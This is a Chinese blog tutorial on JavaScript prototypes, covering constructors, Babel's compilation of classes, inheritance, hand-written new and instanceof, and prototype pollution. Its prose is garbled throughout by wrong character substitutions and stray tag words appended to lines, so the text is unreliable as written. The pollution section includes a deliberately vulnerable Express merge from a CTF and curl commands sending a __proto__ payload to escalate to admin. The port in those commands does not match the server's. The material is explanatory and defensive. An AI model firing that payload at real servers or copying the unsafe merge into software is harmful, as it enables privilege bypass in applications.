記得之前知乎上看到過一個問題:面試一個 5 年的前端,卻連原型鏈也搞不清楚,滿口都是 Vue,React 之類的實現,這樣的人該用嗎? 。寫文章的時候又回去看了下這個問題,300 多個回答,有不少大佬都回答了這個問題,說明這個問題仍是挺受關注的。最近幾年,隨着 ES6 ,TypeScript 及相似的中間語言的流行,咱們平時作業務開發不多能接觸到原型,基本上都是用 ES6 class 來去更簡單的,更直觀的實現之前構造器加原型作的事情。javascript
其實在我看來,我以爲原型鏈是一個很是重要的基礎知識。若是一我的說他 C 語言很精通,可是他彙編不熟,你信嗎?我以爲 winter 說的挺簡潔到位的:前端
這又涉及到我以前講過的面試官技巧,面試,是對一我的的能力系統性評價,搞清楚一我的擅長什麼不會什麼,因此問知識性問題,爲了不誤判,必定要大量問、系統化地問。java
不會原型很能說明問題,至少他在庫的設計方面會有極大劣勢,並且可能學習習慣上是有問題的,也有可能他根本就不太會 JS 語言,可是這不意味着憑藉一個問題就能夠斷定這我的不能用。node
本文包括如下內容:python
prototype
原型的英文應該叫作 prototype
,任何一個對象都有原型,咱們能夠經過非標準屬性 __proto__
來訪問一個對象的原型:jquery
// 純對象的原型
console.log({}.__proto__); // => {}
function Student(name, grade) {
this.name = name;
this.grade = grade;
}
const stu = new Student('xiaoMing', 6);
// Student 類型實例的原型,默認也是一個空對象
console.log(stu.__proto__); // => Student {}
複製代碼
__proto__
是非標準屬性,若是要訪問一個對象的原型,建議使用 ES6 新增的 Object.getPrototypeOf()
方法。非標準屬性意味着將來可能直接會修改或者移除該屬性,說不定之後出了個新標準用 Symbol.proto
做爲 key 來訪問對象的原型,那這個非標準屬性可能就要被移除了。ios
console.log({}.__proto__ === Object.getPrototypeOf({})); // => true
複製代碼
咱們能夠直接修改對象的原型,不過被設置的值的類型只能是對象或者 null,其它類型不起做用:git
const obj = { name: 'xiaoMing' };
// 原型爲空對象
console.log(obj.__proto__); // => {}
obj.__proto__ = 666;
// 非對象和 null 不生效
console.log(obj.__proto__); // => {}
obj.__proto__ = null;
// 設置爲 null 返回 undefined
console.log(obj.__proto__); // undefined
// 設置原型爲對象
obj.__proto__ = { constructor: 'Function Student' };
console.log(obj.__proto__); // => { constructor: 'Function Student' }
複製代碼
若是被設置的值是不可擴展的,將拋出 TypeError:github
const frozenObj = Object.freeze({});
// Object.isExtensible(obj) 能夠判斷 obj 是否是可擴展的
console.log(Object.isExtensible(frozenObj)); // => false
frozenObj.__proto__ = null; // => TypeError: #<Object> is not extensible
複製代碼
原型上的屬性都是不可枚舉的:面試
const obj = {};
obj.__proto__.xxx = 666;
console.log(Object.keys(obj)); // => []
複製代碼
其實 __proto__
是個訪問器屬性(getter 和 setter 都有),經過 __proto__
訪問器咱們能夠訪問對象的[[Prototype]]
, 也就是原型。簡單實現一下:
Object.prototype = {
get __proto__() {
return this['[[prototype]]'];
},
set __proto__(newPrototype) {
if (!Object.isExtensible(newPrototype)) throw new TypeError(`${newPrototype} is not extensible`);
if (newPrototype === null) {
this['[[prototype]]'] = undefined;
return;
}
const isObject = typeof newPrototype === 'object' || typeof newPrototype === 'function';
if (isObject) {
this['[[prototype]]'] = newPrototype;
}
},
// ... 其它屬性如 toString,hasOwnProperty 等
};
複製代碼
構造器的英文就是 constructor
,在 JavaScript 中,函數均可以用做構造器。構造器咱們也能夠稱之爲類,Student 構造器不就能夠稱之爲 Student 類嘛。咱們能夠經過 new 構造器來構造一個實例。習慣上咱們對用做構造器的函數使用大駝峯命名:
function Apple() {}
const apple = new Apple();
console.log(apple instanceof Apple); // => true
複製代碼
任何構造器都有一個 prototype 屬性,默認是一個空的純對象,全部由構造器構造的實例的原型都是指向它。
// 實例的原型即 apple1.__proto__
console.log(apple1.__proto__ === Apple.prototype); // => true
console.log(apple2.__proto__ === Apple.prototype); // => true
複製代碼
下面的測試結果能夠證實構造器的 prototype 屬性默認是個空對象:
console.log(Apple.prototype); // => Apple {}
console.log(Object.keys(Apple.prototype)); // => []
console.log(Apple.prototype.__proto__ === {}.__proto__); // true
複製代碼
構造器的 prototype 有一個 constructor 屬性,指向構造器自己:
console.log(Apple.prototype.constructor === Apple); // => true
複製代碼
__proto__
,prototype
,constructor
,Apple
函數,實例 apple
和原型對象 [[prototype]]
之間的關係:
有些人可能會把 __proto__
和 prototype
搞混淆。從翻譯的角度來講,它們均可以叫原型,可是實際上是徹底不一樣的兩個東西。
__proto__
存在於全部的對象上,prototype
存在於全部的函數上,他倆的關係就是:函數的 prototype
是全部使用 new 這個函數構造的實例的 __proto__
。函數也是對象,因此函數同時有 __proto__
和prototype
。
注意:若是我文章中提到了構造器的原型,指的是構造器的 __proto__
,而不是構造器的 prototype 屬性。
那麼對象的原型有什麼特色呢?
當在一個對象 obj 上訪問某個屬性時,若是不存在於 obj,那麼便會去對象的原型也就是
obj.__proto__
上去找這個屬性。若是有則返回這個屬性,沒有則去對象 obj 的原型的原型也就是obj.__proto__.__proto__
去找,重複以上步驟。一直到訪問純對象的原型的原型{}.__proto.__proto__
,也就是 null,直接返回 undefined。
舉個例子:
function Student(name, grade) {
this.name = name;
this.grade = grade;
}
const stu = new Student();
console.log(stu.notExists); // => undefined
複製代碼
訪問 stu.notExists
的整個過程是:
stu
上是否存在 notExists
,不存在,因此看 stu.__proto__
stu.__proto__
上也不存在 notExists
屬性,再看 stu.__proto__.__proto__
,其實就是純對象的原型:{}.__proto__
notExists
屬性,再往上,到 stu.__proto__.__proto__.__proto__
上去找,其實就是 nullnotExists
屬性,返回 undefined可能有讀者看了上面會有疑問,對象的原型一直查找最後會找到純對象的原型?測試一下就知道了:
console.log(stu.__proto__.__proto__ === {}.__proto__); // => true
複製代碼
純對象的原型的原型是 null:
console.log(new Object().__proto__.__proto__); // => null
複製代碼
各個原型之間構成的鏈,咱們稱之爲原型鏈。
想一想看,函數 Student
的原型鏈應該是怎樣的?
在使用構造器定義一個類型的時候,咱們通常會將類的方法定義在原型上,和 this 的指向特性簡直是絕配。
function Engineer(workingYears) {
this.workingYears = workingYears;
}
// 不能使用箭頭函數,箭頭函數的 this 在聲明的時候就根據上下文肯定了
Engineer.prototype.built = function() {
console.log(`我已經工做 ${this.workingYears} 年了, 個人工做是擰螺絲...`);
};
const engineer = new Engineer(5);
// this 會正確指向實例,因此 this.workingYears 是 5
engineer.built(); // => 我已經工做 5 年了, 個人工做是擰螺絲...
console.log(Object.keys(engineer)); // => [ 'workingYears' ]
複製代碼
經過這種方式,全部的實例均可以訪問到這個方法,而且這個方法只須要佔用一分內存,節省內存,this 的指向還能正確指向類的實例。
不過這種方式定義的方法都是不可枚舉的,畢竟不是自身的屬性:
const obj = {
func() {}
};
console.log(Object.keys(obj)); // => [ 'func' ]
function Func() {}
Func.prototype.func = function() {};
// 空數組,說明 func 不可枚舉
console.log(Object.keys(new Func())); // => []
複製代碼
若是你就是要定義實例屬性的話仍是隻能經過 this.xxx = xxx
的方式定義實例方法了:
function Engineer(workingYears) {
this.workingYears = workingYears;
this.built = function() {
console.log(`我已經工做 ${this.workingYears} 年了, 個人工做是擰螺絲...`);
};
}
const engineer = new Engineer(5);
console.log(Object.keys(engineer)); // => [ 'workingYears', 'built' ]
複製代碼
其實 JavaScript 中不少方法都定義在構造器的原型上,例如 Array.prototype.slice,Object.prototype.toString 等。
不少語言都有擁有面向對象編程範式,例如 java, c#, python 等。ES6 class 讓從它們轉到 JavaScript 的開發者更容易進行面向對象編程。
其實,ES6 class 就是構造器的語法糖。 咱們來看一下 babel 將 ES6 class 編譯成了啥:
原代碼:
class Circle {
constructor(x, y, r) {
this.x = x;
this.y = y;
this.r = r;
}
draw() {
console.log(`畫個座標爲 (${this.x}, ${this.y}),半徑爲 ${this.r} 的圓`);
}
}
複製代碼
babel + babel-preset-es2015-loose
編譯出的結果:
'use strict';
// Circle class 能夠理解爲就是一個構造器函數
var Circle = (function() {
function Circle(x, y, r) {
this.x = x;
this.y = y;
this.r = r;
}
var _proto = Circle.prototype;
// class 方法定義在 prototype 上
_proto.draw = function draw() {
console.log(
'\u753B\u4E2A\u5750\u6807\u4E3A (' +
this.x +
', ' +
this.y +
')\uFF0C\u534A\u5F84\u4E3A ' +
this.r +
' \u7684\u5706'
);
};
return Circle;
})();
複製代碼
一看就明白了, ES6 的 class 就是構造器,class 上的方法定義在構造器的 prototype 上,所以你也能夠理解爲何 class 的方法是不可枚舉的。
咱們再來看一下使用 extends
繼承時是怎樣轉換的。
原代碼:
class Shape {
constructor(x, y) {
this.x = x;
this.y = y;
}
}
class Circle extends Shape {
constructor(x, y, r) {
super(x, y);
this.r = r;
}
draw() {
console.log(`畫個座標爲 (${this.x}, ${this.y}),半徑爲 ${this.r} 的圓`);
}
}
複製代碼
babel + babel-preset-es2015-loose
編譯出的結果:
'use strict';
// 原型繼承
function _inheritsLoose(subClass, superClass) {
subClass.prototype = Object.create(superClass.prototype);
subClass.prototype.constructor = subClass;
subClass.__proto__ = superClass;
}
var Shape = function Shape(x, y) {
this.x = x;
this.y = y;
};
var Circle = (function(_Shape) {
_inheritsLoose(Circle, _Shape);
function Circle(x, y, r) {
var _this;
// 組合繼承
_this = _Shape.call(this, x, y) || this;
_this.r = r;
return _this;
}
var _proto = Circle.prototype;
_proto.draw = function draw() {
console.log(
'\u753B\u4E2A\u5750\u6807\u4E3A (' +
this.x +
', ' +
this.y +
')\uFF0C\u534A\u5F84\u4E3A ' +
this.r +
' \u7684\u5706'
);
};
return Circle;
})(Shape);
複製代碼
整個 ES6 的 extends 實現的是原型繼承 + 組合繼承。
子類構造器中調用了父類構造器並將 this 指向子類實例達到將父類的實例屬性組合到子類實例上:
// 組合繼承
_this = _Shape.call(this, x, y) || this;
複製代碼
_inheritsLoose
這個函數就是實現了下一節要講的原型繼承。
在講原型繼承
以前咱們先講講繼承
這個詞。我以爲,通俗意義上的繼承
是說:若是類 A 繼承自類 B,那麼 A 的實例繼承了 B 的實例屬性。
原型繼承
的這個繼承
和通俗意義上的繼承
還不太同樣,它是要:A 的實例可以繼承 B 的原型上的屬性。
給原型繼承下個定義:
對於類 A 和類 B,若是知足 A.prototype.__proto__ === B.prototype,那麼 A 原型繼承 B
複製代碼
如何實現原型繼承呢?最簡單的方式就是直接設置 A.prototype === new B()
,讓 A 的 prototype 是 B 的實例便可:
function A() {}
function B() {
this.xxx = '污染 A 的原型';
}
A.prototype = new B();
console.log(A.prototype.__proto__ === B.prototype); // => true
複製代碼
可是這種方式會致使 B 的實例屬性污染 A 的原型。解決辦法就是經過一個空的函數橋接一下,空的函數總不會有實例屬性污染原型鏈嘍:
function A(p) {
this.p = p;
}
function B() {
this.xxx = '污染原型';
}
// 空函數
function Empty() {}
Empty.prototype = B.prototype;
A.prototype = new Empty();
// 修正 constructor 指向
A.prototype.constructor = A;
// 知足原型繼承的定義
console.log(A.prototype.__proto__ === B.prototype); // => true
const a = new A('p');
console.log(a instanceof A); // => true
const b = new B();
console.log(b instanceof B); // => true
// a 也是 B 的實例
console.log(a instanceof B); // => true
console.log(a.__proto__.__proto__ === B.prototype); // => true
複製代碼
用 Windows 自帶的畫圖軟件畫的原型鏈_〆(´Д ` ):
利用 Object.create
,咱們能夠更簡單的實現原型繼承,也就是上面的 babel 用到的工具函數 _inheritsLoose
:
function _inheritsLoose(subClass, superClass) {
// Object.create(prototype) 返回一個以 prototype 爲原型的對象
subClass.prototype = Object.create(superClass.prototype);
subClass.prototype.constructor = subClass;
// 咱們上面實現的原型繼承沒有設置這個,可是 class 的繼承會設置子類的原型爲父類
subClass.__proto__ = superClass;
}
複製代碼
其實由不少語法特性是和原型有關係的,講到原型那麼咱們就再繼續講講 JavaScrip 語法特性中涉及到原型的一些知識點。
當咱們對函數使用 new 的時候發生了什麼。
使用代碼來描述就是:
function isObject(value) {
const type = typeof value;
return value !== null && (type === 'object' || type === 'function');
}
/** * constructor 表示 new 的構造器 * args 表示傳給構造器的參數 */
function New(constructor, ...args) {
// new 的對象不是函數就拋 TypeError
if (typeof constructor !== 'function') throw new TypeError(`${constructor} is not a constructor`);
// 建立一個原型爲構造器的 prototype 的空對象 target
const target = Object.create(constructor.prototype);
// 將構造器的 this 指向上一步建立的空對象,並執行,爲了給 this 添加實例屬性
const result = constructor.apply(target, args);
// 上一步的返回若是是對象就直接返回,不然返回 target
return isObject(result) ? result : target;
}
複製代碼
簡單測試一下:
function Computer(brand) {
this.brand = brand;
}
const c = New(Computer, 'Apple');
console.log(c); // => Computer { brand: 'Apple' }
複製代碼
instanceof 用於判斷對象是不是某個類的實例,若是 obj instance A,咱們就說 obj 是 A 的實例。
它的原理很簡單,一句話歸納就是:obj instanceof 構造器 A,等同於判斷 A 的 prototype 是否是 obj 的原型(也多是二級原型)。
代碼實現:
function instanceOf(obj, constructor) {
if (!isObject(constructor)) {
throw new TypeError(`Right-hand side of 'instanceof' is not an object`);
} else if (typeof constructor !== 'function') {
throw new TypeError(`Right-hand side of 'instanceof' is not callable`);
}
// 主要就這一句
return constructor.prototype.isPrototypeOf(obj);
}
複製代碼
簡單測試一下:
function A() {}
const a = new A();
console.log(a instanceof A); // => true
console.log(instanceOf(a, A)); // => true
複製代碼
在去年 2019 年秋天我還在國內某大廠實習的時候,lodash 爆出了一個嚴重的安全漏洞:Lodash 庫爆出嚴重安全漏洞,波及 400 萬+項目。這個安全漏洞就是因爲原型污染致使的。
原型污染指的是:
攻擊者經過某種手段修改 JavaScript 對象的原型
雖說任何一個原型被污染了都有可能致使問題,可是咱們通常提原型污染說的就是 Object.prototype
被污染。
舉個最簡單的例子:
Object.prototype.hack = '污染原型的屬性';
const obj = { name: 'xiaoHong', age: 18 };
for (const key in obj) {
if (obj.hasOwnProperty(key)) {
console.log(obj[key]);
}
}
/* => xiaoHong 18 */
複製代碼
原型被污染會增長遍歷的次數,每次訪問對象自身不存在的屬性時也要訪問下原型上被污染的屬性。
看一個具體的 node 安全漏洞案例:
'use strict';
const express = require('express');
const bodyParser = require('body-parser');
const cookieParser = require('cookie-parser');
const path = require('path');
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a;
}
function clone(a) {
return merge({}, a);
}
// Constants
const PORT = 8080;
const HOST = '127.0.0.1';
const admin = {};
// App
const app = express();
app.use(bodyParser.json());
app.use(cookieParser());
app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body);
if (copybody.name) {
res.cookie('name', copybody.name).json({
done: 'cookie set',
});
} else {
res.json({
error: 'cookie not set',
});
}
});
app.get('/getFlag', (req, res) => {
var аdmin = JSON.parse(JSON.stringify(req.cookies));
if (admin.аdmin == 1) {
res.send('hackim19{}');
} else {
res.send('You are not authorized');
}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);
複製代碼
這段代碼的漏洞就在於 merge 函數上,咱們能夠這樣攻擊:
curl -vv --header 'Content-type: application/json' -d '{"__proto__": {"admin": 1}}' 'http://127.0.0.1:4000/signup';
curl -vv 'http://127.0.0.1/getFlag'
複製代碼
首先請求 /signup
接口,在 NodeJS 服務中,咱們調用了有漏洞的 merge
方法,並經過 __proto__
爲 Object.prototype
(由於 {}.__proto__ === Object.prototype
) 添加上一個新的屬性 admin
,且值爲 1。
再次請求 getFlag
接口,訪問了 Object 原型上的admin
,條件語句 admin.аdmin == 1
爲 true
,服務被攻擊。
其實原型污染大多發生在調用會修改或者擴展對象屬性的函數時,例如 lodash 的 defaults,jquery 的 extend。預防原型污染最主要仍是要有防患意識,養成良好的編碼習慣。
筆者看過一些類庫的源碼時,常常能看到這種操做,例如 EventEmitter3。經過 Object.create(null) 建立沒有原型的對象,即使你對它設置__proto__
也沒有用,由於它的原型一開始就是 null,沒有 __proro__
的 setter
。
const obj = Object.create(null);
obj.__proto__ = { hack: '污染原型的屬性' };
const obj1 = {};
console.log(obj1.__proto__); // => {}
複製代碼
能夠經過 Object.freeze(obj) 凍結對象 obj,被凍結的對象不能被修改屬性,成爲不可擴展對象。前面也說過不能修改不可擴展對象的原型,會拋 TypeError:
const obj = Object.freeze({ name: 'xiaoHong' });
obj.xxx = 666;
console.log(obj); // => { name: 'xiaoHong' }
console.log(Object.isExtensible(obj)); // => false
obj.__proto__ = null; // => TypeError: #<Object> is not extensible
複製代碼
距離我從以前實習的公司離職也有將近三個月了,我記得那時候每次 npm install
都顯示檢查出幾十個依賴漏洞。確定是很久都沒升級纔會積累那麼多漏洞,反正我是不敢隨便升級,以前一個 bug 查了好半天結果是由於 axios 的升級致使的。也不知道到如今有沒有升級過😄。
參考資料:
本文爲原創內容,首發於我的博客,轉載請註明出處。